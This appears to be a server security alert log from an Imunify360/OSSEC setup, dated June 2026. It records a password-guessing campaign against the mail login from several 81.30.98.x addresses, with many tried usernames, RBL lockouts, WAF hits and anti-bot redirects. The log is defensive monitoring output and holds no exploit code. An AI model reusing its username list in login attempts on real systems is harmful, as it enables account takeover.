Jun 20 16:25:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32558: 535 Incorrect authentication data (set_id=karpov)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.70.223.91
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/02/Goddys-768x512-1.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/02/Goddys-768x512-1-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/02/Goddys-768x512-1-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:26:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59042: 535 Incorrect authentication data (set_id=mlc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:26:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:21484: 535 Incorrect authentication data (set_id=ig)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:26:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:26:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:52584: 535 Incorrect authentication data (set_id=image3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:26:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40510: 535 Incorrect authentication data (set_id=anoop)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:26:45 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:26:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63294: 535 Incorrect authentication data (set_id=leah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:26:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49476: 535 Incorrect authentication data (set_id=cleaner)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:27:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:25322: 535 Incorrect authentication data (set_id=temple)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:27:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:27:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35110: 535 Incorrect authentication data (set_id=bottom)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:27:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:28:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21070: 535 Incorrect authentication data (set_id=drc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:27:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44494: 535 Incorrect authentication data (set_id=pauln)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:27:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34458: 535 Incorrect authentication data (set_id=excellence)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:27:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16694: 535 Incorrect authentication data (set_id=saveid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:27:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24910: 535 Incorrect authentication data (set_id=orion)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:28:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17552: 535 Incorrect authentication data (set_id=consulting)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:28:57 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:28:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61420: 535 Incorrect authentication data (set_id=bilder)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:28:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:65386: 535 Incorrect authentication data (set_id=unicorn)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:28:54 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:28:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37158: 535 Incorrect authentication data (set_id=nozawa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:28:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14730: 535 Incorrect authentication data (set_id=la2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:28:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25744: 535 Incorrect authentication data (set_id=drmail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:29:41 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:29:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53796: 535 Incorrect authentication data (set_id=sensharma)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:29:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17198: 535 Incorrect authentication data (set_id=ammanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.92.200
country_id: 3469034
description:
Jun 20 16:30:16 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.92.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:29:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1906: 535 Incorrect authentication data (set_id=communication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:29:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:27282: 535 Incorrect authentication data (set_id=sara123)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:29:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262682&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972979 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.200.190
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/06/WhatsApp-Image-2023-06-21-at-10.25.03.jpeg 600w, http:/togodailynews.tg/wp-content/uploads/2023/06/WhatsApp-Image-2023-06-21-at-10.25.03-300x226.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:29:39 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:29:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040617&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972975 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:29:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:62034: 535 Incorrect authentication data (set_id=sendmail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:29:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20990: 535 Incorrect authentication data (set_id=super)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:16:29:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393455&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972972 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:30:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1468: 535 Incorrect authentication data (set_id=kul)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 16:31:15 +0000] info [cpaneld] 102.54.238.57 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:30:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:30:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723432&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973036 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:30:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65038: 535 Incorrect authentication data (set_id=ivanova)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:30:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211797&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973039 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:30:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:30:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29586: 535 Incorrect authentication data (set_id=bor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:30:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7116: 535 Incorrect authentication data (set_id=ra)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.178
country_id: 798544
description:
Jun 20 16:30:44 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:30:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18698: 535 Incorrect authentication data (set_id=morris)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:30:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12900: 535 Incorrect authentication data (set_id=q1)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 126.209.105.227
country_id: 1694008
description:
126.209.105.227 - - [20/Jun/2026:16:32:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804178&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemande-de-duplication-des-certificats-de-nationalite-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973146 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demande-de-duplication-des-certificats-de-nationalite-au-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.4646.1855 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:126.209.105.227


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:31:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:32:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17862: 535 Incorrect authentication data (set_id=jsoto)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:32:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:31:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49830: 535 Incorrect authentication data (set_id=rabota)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:31:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:26060: 535 Incorrect authentication data (set_id=int)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:31:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33956: 535 Incorrect authentication data (set_id=ecms)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:32:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52790: 535 Incorrect authentication data (set_id=pvb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:31:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45294: 535 Incorrect authentication data (set_id=pvb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:31:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:4836: 535 Incorrect authentication data (set_id=sud)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:32:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25792: 535 Incorrect authentication data (set_id=ajay)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:32:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59188: 535 Incorrect authentication data (set_id=compliance)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:32:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:32:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48870: 535 Incorrect authentication data (set_id=wisdom)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:32:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:33:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:28030: 535 Incorrect authentication data (set_id=user4)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:32:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53984: 535 Incorrect authentication data (set_id=faust)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:32:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42700: 535 Incorrect authentication data (set_id=tome)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:33:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:33:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44616: 535 Incorrect authentication data (set_id=gitea)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:33:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:24512: 535 Incorrect authentication data (set_id=worktrucks)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:33:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14532: 535 Incorrect authentication data (set_id=1q2w3e)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:33:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:29996: 535 Incorrect authentication data (set_id=print)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:33:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:33:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34820: 535 Incorrect authentication data (set_id=forum3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:33:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:19016: 535 Incorrect authentication data (set_id=standards)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.206
country_id: 3469034
description:
Jun 20 16:33:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:34:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36594: 535 Incorrect authentication data (set_id=tahsin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:34:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35688: 535 Incorrect authentication data (set_id=provisioning)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:34:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59650: 535 Incorrect authentication data (set_id=provisioning)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:34:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:34:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:2330: 535 Incorrect authentication data (set_id=smartphone)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:34:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17744: 535 Incorrect authentication data (set_id=yangli)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:35:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:35:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40306: 535 Incorrect authentication data (set_id=phillip)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:34:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54458: 535 Incorrect authentication data (set_id=smtpmail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:35:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58216: 535 Incorrect authentication data (set_id=checkbox)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:35:45 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:35:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:4602: 535 Incorrect authentication data (set_id=imperia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:35:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42812: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:35:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15938: 535 Incorrect authentication data (set_id=lcwidget)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:36:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:58418: 535 Incorrect authentication data (set_id=alejandro)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:35:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:35:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30372: 535 Incorrect authentication data (set_id=n01)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:36:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:36:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:36:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:65168: 535 Incorrect authentication data (set_id=vieras)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:36:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30086: 535 Incorrect authentication data (set_id=lb2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:36:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33664: 535 Incorrect authentication data (set_id=flora00)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:36:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62858: 535 Incorrect authentication data (set_id=lana)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:36:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:6018: 535 Incorrect authentication data (set_id=jmr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:36:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52666: 535 Incorrect authentication data (set_id=yamato)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.247.212.147
country_id: 1835841
domain: www.letabloid.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.letabloid.tg/tag/lct/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
